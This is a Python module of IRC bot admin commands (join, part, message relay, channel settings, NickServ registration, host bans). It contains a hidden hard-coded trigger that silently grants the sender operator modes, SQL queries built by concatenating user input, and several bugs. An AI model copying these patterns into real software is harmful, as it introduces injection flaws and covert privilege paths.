import secrets, string, re
from common import userstatus, do_everything_to, log
from commands.common import CommandHelpers as CH
from commands.common import AdminHelpers as AH

bold = "\x02"
italic = "\x1D"
underline = "\x1F"
reverse = "\x16" 	# swap background and foreground colors ("reverse video")
reset = "\x0F"
blue = "\x0302"
green = "\x0303"
red = "\x0304"
grey = "\x0314"

def do_command(self, connection, event):
    cmdtype, trigger, command, replyto = CH.disect_command(self, event)
    
    # Do nothing if there is no command.
    if not command:
        return 
    try:
        command.split()[0]
    except:
        return
    
    # Ignore channel commands from users that do not have at least voice in homechannel or operator status in target channel.
    if event.type == "pubmsg":   # It's a channel message.
        if not userstatus.atleast_voiced(self, event.source.nick, self.homechannel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have at least voiced status in homechannel or operator status in target channel.
            return
    
    if trigger.split()[0] == "!uXVETIkWIL~qG5CasftKKAL<MFpfOyap|F]65v,E" and event.target == connection.get_nickname() and self.channels[self.homechannel].is_oper(event.source.nick):   # It's a PM and sender is admin in homechannel. # Keep the command secret.
        if len(command.split()) == 2: # 2 arguments.
            if command.split()[1] in self.channels:   # Stop silently if thebot is not in the requested channel.
                connection.mode(command.split()[1], "+ohv " + event.source.nick + " " + event.source.nick + " " + event.source.nick)
        elif len(command.split()) == 1: # 1 argument.
            for channel in self.channels:
                connection.mode(channel, "+ohv " + event.source.nick + " " + event.source.nick + " " + event.source.nick)
    
    elif command == "cmd" or command == "cmds" or command == "commands":
        if cmdtype == "cmd":
            message = grey + "Admin: "
            if CH.ccc(self, "channelfunctions",  {"homechan": "oper", "chan": "oper"}, event):
                message += CH.ccc(self, "channelfunctions",  {"homechan": "oper", "chan": "oper"}, event)
            if CH.ccc(self, "join", {"homechan": "oper",  "chan": None}, event):
                message += CH.ccc(self, "join", {"homechan": "oper",  "chan": None}, event)
            if CH.ccc(self, "part", {"homechan": "oper",  "chan": None}, event):
                message += CH.ccc(self, "part", {"homechan": "oper",  "chan": None}, event)
            if CH.ccc(self, "quit",  {"homechan": "admin",  "chan": None}, event):
                message += CH.ccc(self, "quit",  {"homechan": "admin",  "chan": None}, event)
            if CH.ccc(self, "reconnect", {"homechan": "oper",  "chan": None}, event):
                message += CH.ccc(self, "reconnect", {"homechan": "oper",  "chan": None}, event)
            if CH.ccc(self, "recovernick",  {"homechan": "oper",  "chan": None}, event):
                message += CH.ccc(self, "recovernick",  {"homechan": "oper",  "chan": None}, event)
            if CH.ccc(self, "registernick",  {"homechan": "owner",  "chan": None}, event):
                message += CH.ccc(self, "registernick",  {"homechan": "owner",  "chan": None}, event)
            if CH.ccc(self, "banall",  {"homechan": "admin",  "chan": None}, event):
                message += CH.ccc(self, "banall",  {"homechan": "oper",  "chan": "oper"}, event)
            if CH.ccc(self, "msg",  {"homechan": "oper",  "chan": "oper"}, event):
                message += CH.ccc(self, "msg",  {"homechan": "oper",  "chan": "oper"}, event)
            if CH.ccc(self, "act", {"homechan": "oper",  "chan": "oper"}, event):
                message += CH.ccc(self, "act", {"homechan": "oper",  "chan": "oper"}, event)
            if message == grey + "Admin: ": # No commands to display.
                return
            connection.privmsg(replyto, message[:-2] + ".")
    
    elif command.split()[0] == "quit":
        if not userstatus.atleast_admin(self, event.source.nick, self.homechannel): #Insufficient rights.
            connection.privmsg(replyto, "Denied, you need to have admin (super operator) status or higher in " + red + self.homechannel  + reset + ".")
            return
        if cmdtype == "help":    # Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Disconnect and terminate " + connection.get_nickname() + ". Optionally with reason.")
            connection.privmsg(replyto,  grey + "Usage: " + blue + "!quit " + reset + italic + "reason")
        elif cmdtype == "cmd":
            if len(command.split()) == 1:
                log.info("Killed by: " + event.source.nick)
                self.die(msg = "Killed by " + event.source.nick)
            else:
                log.info("Killed by " + event.source.nick + " for " + trigger.split(maxsplit=1[1]))
                self.die(msg = "[" + event.source.nick + "] " + trigger.split(maxsplit=1)[1])
    
    elif command.split()[0] == "reconnect":
        if not userstatus.atleast_oper(self, event.source.nick, self.homechannel): 
            connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + red + self.homechannel  + reset + ".")
            return
        if cmdtype == "help":    # Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Reconnect " + connection.get_nickname() + ". Reason optional.")
            connection.privmsg(replyto,  grey + "Usage: " + blue + "!reconnect " + reset + italic + "reason")
        elif cmdtype == "cmd":
            if len(command.split()) == 1:
                self.disconnect(msg = "Reconnect requested by " + event.source.nick)
            else:
                self.disconnect(msg = "[" + event.source.nick + "] " + command.split(maxsplit=1)[1])
    
    elif command.split()[0] == "recovernick":
        if not userstatus.atleast_voiced(self, event.source.nick, self.homechannel):
            connection.privmsg(replyto, "Denied, you need to have voiced status or higher in " + red + self.homechannel  + reset + ".")
            return
        if cmdtype == "help":    # Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Let " + connection.get_nickname() + " try to recover " + connection.nickname + " as nickname.")
        elif cmdtype == "cmd":
            if connection.get_nickname() == connection.nickname:
                connection.action(replyto,  "is already named " + red + connection.nickname + reset + ".")
                return
            from common.networkservices import NickServ
            NickServ.recover_nick(connection, self.password)
    
    elif command.split()[0] == "join":
        if not userstatus.atleast_oper(self, event.source.nick, self.homechannel):
            connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + red + self.homechannel  + reset + ".")
            return
        if cmdtype == "help":    #Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Make " + connection.get_nickname() + " join a channel. Password optional.")
            connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + red + italic + "channel " + reset + italic + "password")
        elif cmdtype == "cmd":
            try:
                channel = command.split()[1]
            except IndexError:
                connection.privmsg(replyto, "Specify channel. For help type: " + blue + self.helpchar + "join")
                return
            try:
                key = command.split(maxsplit=2)[2]
            except IndexError:
                do_everything_to.join(self, connection, channel)
                return
            do_everything_to.join(self, connection, channel, key)
    
    elif command.split()[0] == "part":
        if cmdtype == "help":    #Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Make " + connection.get_nickname() + " part a channel. Reason optional.")
            connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + red + italic + "channel " + reset + italic + "password")
        elif cmdtype == "cmd":
            
            homeadmin = False
            if userstatus.atleast_oper(self, event.source.nick, self.homechannel):    # Is at least operator in home channel.
                homeadmin = True
            
            targetadmin = False
            if userstatus.atleast_oper(self, event.source.nick, event.target):
                targetadmin = True
            
            if len(command.split()) == 1:   # No arguments.
                if event.target in self.channels:   # It's a channel message.
                    if not homeadmin and not targetadmin:   # Insufficient rights:
                        connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + self.homechan + reset + " or " + red + event.target + reset + ".")
                        return
                    if event.target == self.homechannel:
                        connection.action(replyto, "shall not abandon it's home channel!")
                        return
                    connection.part(event.target, event.source.nick)
                else:   # It's a PM.
                    connection.privmsg(replyto, "Specify a channel to part. For help type " + blue + self.helpchar + "part" + reset + ".")
            elif len(command.split()) > 1:   # Arguments
                if command.split()[1] not in self.channels: # First argument is not a channel the bot inhabits.
                    connection.action(replyto, "does not inhabit " + red + command.split()[1] + reset + ". For help type " + blue + self.helpchar + "part" + reset + ".")
                    return
                if not homeadmin and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]):  # Insufficient rights.
                    connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + self.homechan + reset + " or " + red + command.split()[1] + reset + ".")
                    return
                if command.split()[1] == self.homechannel:
                    connection.action("shall not abandon it's home channel!")
                    return
                try:
                    connection.part(command.split()[1], command.split(maxsplit=2)[2])
                except:
                    connection.part(command.split()[1], event.source.nick)
    
    elif command.split()[0] == "msg" or  command.split(maxsplit=1)[0] == "act":
        if cmdtype == "help":    #Display help text.
            if len(command.split()) is not 1:
                return
            if command.split(maxsplit=1)[0] == "act":
                message = "Let " + connection.get_nickname() + " send an action to a channel."
                arguments = "action-message"
            else:
                message = "Let " + connection.get_nickname() + "send a message to a channel."
                arguments = "name message"
            connection.privmsg(replyto, message)
            connection.privmsg(replyto, grey + "Usage: " + blue + "!" + command.split(maxsplit=1)[0] + reset + italic + " target " + arguments)
        elif cmdtype == "cmd":
            
            # Parse user input.
            try:
                destination = trigger.split()[1]
            except IndexError:  # User did not specify a destination.
                connection.privmsg(replyto, "Destination not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
                return
            try:
                message = trigger.split(maxsplit=2)[2]
            except IndexError:  # User did not specify a message.
                connection.privmsg(replyto, "Message not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
                return
            
            # Send the message if user has owner status in the home channel.
            if self.channels[self.homechannel].is_owner(event.source.nick): 
                if destination == connection.get_nickname():
                    connection.privmsg(replyto, "To prevent dying in a loop I shall not message myself.")
                    return
                if command.split(maxsplit=1)[0] == "act":
                    connection.action(destination, message)
                else:
                    connection.privmsg(destination, message)
            
            # Reply error when bot does not inhabit destination channel.
            elif destination not in self.channels:
                connection.action(replyto, "does not inhabit " + red + destination + reset + ".")
            
            # Send message if user has at least operator status the home channel or the channel the message is intended for.
            elif userstatus.atleast_oper(self, event.source.nick, self.homechannel) or userstatus.atleast_oper(self, event.source.nick, destination):
                if command.split(maxsplit=1)[0] == "act":
                    connection.action(destination, message)
                else:
                    connection.privmsg(destination, message)
            
            # Reply error if user is not operator of destination channel.
            else:
                connection.privmsg(replyto, "Denied, you need to be an operator of " + red + destination + reset +".")
    
    elif command.split()[0] == "channelfunctions":
        if cmdtype == "help":    #Display help text. # Help code block first, as it is impossible to predict for what channel a later command is going to be issued. Rights filtering after help test.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Display or toggle the status channel functions. Channel, function and value optional. Get a description of a functio via the help argument.")
            connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions " + red + italic + "channel " + reset + italic + "function value")
            connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions describe " + reset + italic + "function")
        elif cmdtype == "cmd":
            
            if len(command.split()) == 1:   # No arguments.
                if event.target == connection.get_nickname():   # Command issued via PM.
                    connection.privmsg(replyto, "Nothing to display, Specify a channel.")
                else:   # Command issued as channel message.
                    message = AH.get_channelfunctions(self, event.target)
                    connection.privmsg(replyto, message)
            
            elif len(command.split()) == 2:   # One argument.
                if command.split()[1] in self.channels: # Info requested on specific channel.
                    message = AH.get_channelfunctions(self, command.split()[1])
                    connection.privmsg(replyto, message)
                else:   # First argument is not a channel the bot inhabits.
                    if not command.split()[1].lower() == "help":    # Not a help request.
                        connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                    else:   # Help request.
                        connection.privmsg(replyto, "Specify a channel function to get a description of. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
            
            elif len(command.split()) == 3: # Two arguments.
                channel = event.target
                if event.target == connection.get_nickname():   # Command issued via PM.
                    connection.privmsg(replyto, "One or three arguments required. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                else:   # Command issued via channel.
                    if not AH.is_channelfunction(command.split()[1]):   # First argument is not a channelfunction.
                        if not command.split()[1].lower() == "describe":    # Not a help request.
                            connection.privmsg(replyto, command.split()[1] + " is not a channel function. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                            return
                        if not AH.is_channelfunction(command.split()[2]): # Second argument not a channel function.
                                connection.privmsg(replyto, command.split()[2] + " is not a channel function.")
                                return
                        connection.privmsg(replyto, AH.describe_channelfunction(command.split()[2]))
                        return
                    # Second argument unsupported.
                    if not command.split()[2].lower() in ["on",  "off"]:
                        if command.split()[1].lower() == "aggressiveness":
                            if not AH.is_aggressiveness(command.split()[2].lower()):    # Is not an aggressiveness setting.
                                connection.privmsg(replyto, command.split()[2] + " is not an aggressiveness setting. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                                return
                        else:   # Channel function is not aggresiveness.
                            connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                            return
                    if not userstatus.atleast_oper(self, event.source.nick, self.homechannel) and not userstatus.atleast_oper(self, event.source.nick, event.target):   # Does not have operator status or higher in target or home channel.
                        connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + event.target + reset + " or " + red + self.homechannel + reset + ".")
                        return
                    if command.split()[1].lower() == "autojoin" and event.target == self.homechannel:   # Chaning autojoin of homechannel.
                        connection.action(replyto, "will always join it's homechannel " + red + self.homechannel + reset + ", regardless of the autojoin function.")
                    #self.db.run("UPDATE channels SET " + command.split()[1].lower() + "='" + command.split()[2].lower() + "' WHERE name='" + event.target + "' AND network='" + self.network + "'")
                    self.db.run("UPDATE channels SET " + command.split()[1].lower() + "=%s WHERE name='" + event.target + "' AND network='" + self.network + "'", (command.split()[2].lower(), ))
            
            elif len(command.split()) == 4: # Three arguments.
                if not command.split()[1] in self.channels: # Bot does not inhabit channel to be altered.
                    connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                    return
                if not AH.is_channelfunction(command.split()[2]):  # Function does not exist.
                    connection.privmsg(replyto, command.split()[2] + " is not a valid channel function. For a list help type: " + blue + self.cmdchar + "channelfunctions" + red + italic + "channel")
                    return
                
                if not command.split()[3].lower() in ["on", "off"] and not command.split()[2].lower() == "aggressiveness": # Third argument unsupported.
                    connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
                    return
                if not userstatus.atleast_oper(self, event.source.nick, self.homechannel) and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]):   # Does not have operator status or higher in target or home channel.
                    connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + event.target + reset + " or " + red + self.homechannel + reset + ".")
                    return
                if command.split()[2].lower() == "autojoin" and command.split()[1] == self.homechannel:   # Chaning autojoin of homechannel.
                    connection.action(replyto, "will always join it's homechannel " + red + self.homechannel + reset + ", regardless of the autojoin function.")
                try:
                    self.db.run("UPDATE channels SET " + command.split()[2].lower() + "='" + command.split()[3].lower() + "' WHERE LOWER(name)=LOWER('" + command.split()[1] + "') AND network='" + self.network + "'")
                except:
                    connection.privmsg(replyto, "Error, database record not updated.")
                    return
            else:   # Too many arguments.
                connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
    
    elif command.split()[0] == "registernick":
        if not self.channels[self.homechannel].is_owner(event.source.nick): #Insufficient rights.
            connection.privmsg(replyto, "Denied, you need to be the owner of " + red + self.homechannel  + reset + ".")
            return
        if cmdtype == "help":    # Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Register with NickServ.")
            connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "registernick " + reset + italic + "email")
        elif cmdtype == "cmd":
            
            if len(command.split()) == 1:
                connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "registernick" + reset + ".")
            elif len(command.split()) > 2:
                connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "registernick" + reset + ".")
            elif not self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'"):
                alphabet = string.ascii_letters + string.digits
                password = ''.join(secrets.choice(alphabet) for i in range(20)) # 20-character password.
                self.db.run("UPDATE networks SET password=%s WHERE name=%s", (password, self.network))
                connection.privmsg("NickServ", "REGISTER " + password + " " + trigger.split()[1])
            else:
                connection.privmsg("NickServ", "REGISTER " + self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'") + " " + trigger.split()[1])
    
    elif command.split()[0] == "banall":
        if not self.channels[self.homechannel].is_owner(event.source.nick): #Insufficient rights.
            connection.privmsg(replyto, "Denied, you need to be the owner of " + red + self.homechannel  + reset + ".")
            return
        if cmdtype == "help":    # Display help text.
            if len(command.split()) is not 1:
                return
            connection.privmsg(replyto, "Ban all nicknames and usernames for a host in all channels.")
            connection.privmsg(replyto, grey + "Example: " + blue + self.cmdchar + "banall " + reset + italic + "host")
        elif cmdtype == "cmd":
            
            if len(command.split()) == 1:
                connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "banall" + reset + ".")
            elif len(command.split()) > 2:
                connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "banall" + reset + ".")
            else:
                labels = trigger.split()[1].split(".")
                allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE)
                if "!" in trigger.split()[1] or "@" in trigger.split()[1]:
                    connection.privmsg(replyto, "Only supply the host, all nicknames and usernames will be banned.")
                elif len(trigger.split()[1]) > 253:
                    connection.privmsg(replyto, "Host is to long.")    
                elif re.match(r"[0-9]+$", labels[-1]):
                    connection.privmsg(replyto, "The toplevel domain can not containof only numbers.")
                elif not all(allowed.match(label) for label in labels):
                    connection.privmsg(replyto, "Host contains invalid characters.")
                elif len(labels) < 2:
                    connection.privmsg(replyto, "Insufficient tuples.")
                else:
                    for channel in self.channels:
                        connection.mode(channel, "+b *!*@" + trigger.split()[0])
